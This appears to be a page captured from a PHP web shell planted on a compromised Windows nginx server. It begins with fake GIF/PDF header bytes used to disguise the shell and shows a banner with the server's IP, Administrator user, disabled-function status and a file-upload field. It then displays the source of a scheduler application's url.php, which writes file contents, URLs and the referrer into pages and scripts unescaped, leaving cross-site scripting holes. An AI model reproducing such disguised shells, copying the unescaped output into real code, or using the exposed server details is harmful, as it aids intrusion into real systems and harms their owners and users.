GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/common/ |
Upload File : |
<? // /common/url.php // Will parse the .URL file and attempt to open it in a new window or display a link if it cannot open the window. #$debuggingAvailable = true; // Comment this line to disable debugging functions. #$skipAuthentication = true; // Uncomment this line to skip authentication for this page. $authorizedPermissions = "USER"; // List of groups authorized to view this page (i.e., PUBLIC = anyone, USER = any user, "Admin,Manager" = users in the Admin or Manager groups). require('../application.phpinc'); pageHeader('Link to:'); d_Var('$_SERVER',$_SERVER,'d'); $PATH_TRANSLATED = str_replace('\\','/',$_SERVER['DOCUMENT_ROOT'].urldecode($_SERVER['REQUEST_URI'])); $fh = fopen($PATH_TRANSLATED, 'r'); $theURLfile = fread($fh, filesize($PATH_TRANSLATED)); fclose($fh); #d_Var('$theURLfile',$theURLfile,'d'); #exit; $theURL = ''; $fileLines = explode("\n",$theURLfile); foreach ($fileLines as $thisLine) { if (substr($thisLine,0,4) == "URL=") { $theURL = trim(substr($thisLine,4)); } } // Test if the URL was found in the .URL file. if ($theURL !='') { // Found the URL. if (isset($_SERVER['HTTP_REFERER'])) { ?> <!-- If we can open the URL in a new window, do so and set the location for this window to the calling page. --> <script type="text/javascript"> if (window.open("<?=$theURL?>")) { window.location = "<?=$_SERVER['HTTP_REFERER']?>"; } </script> <!-- The open URL in a new window did not work, so display information about the .URL file. --> <table class="center"><tr><td class="white"> Your browser does not allow this site (<b><?=$_SERVER['HTTP_HOST']?></b>) to open new browser windows. <br> If you allow this then the <b><?=basename($_SERVER['PATH_INFO'])?></b> you clicked will open in a new window. <br> <br> The URL you clicked on points to the <a href="<?=$theURL?>"><b><?=$theURL?></b></a> page. <br> You may <a href="<?=$theURL?>">click here</a> to go there. <br> </td></tr></table> <? } else { ?> <!-- The URL location was pasted into a new window. Set the location to the URL found in the URL file. --> <script type="text/javascript"> window.location = "<?=$theURL?>"; </script> <? } } else { ?> <!-- The URL was not found in the .URL file. Display the contents of the file. --> <table class="center"><tr><td class="white"> Unable to determine the URL in the <b><?=basename($_SERVER['PATH_INFO'])?></b> file. <br> The contents of the URL file is: <br> <br> <pre><?=$theURLfile?></pre> <br> </td></tr></table> <? } pageFooter(); ?>